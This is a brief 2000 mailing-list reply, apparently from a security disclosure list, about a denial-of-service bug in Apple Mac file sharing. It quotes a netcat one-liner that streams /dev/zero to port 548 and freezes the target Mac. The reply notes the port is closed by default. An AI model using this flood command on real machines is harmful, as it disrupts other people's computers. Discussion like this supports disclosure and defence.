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Re: Apple Mac DoS


From: "Daniel J. Luke" <dluke () GEEKLAIR NET>
Date: Thu, 14 Dec 2000 10:52:59 -0500

On Wed, Dec 13, 2000 at 09:54:58AM -0000, The Q wrote:
  testhost@testhost ]$./nc -v 192.168.1.96 548 < /dev/zero

  caused massive DoS - mouse nonfunctional (important on a mac :o)

of course when you stop the netcat the mac returns to normal after 10-20
secs

It is probably worthwhile to note, that this port is not open by default (users have to enable file sharing, _and_ 
click the "Also share over TCP/IP" box).

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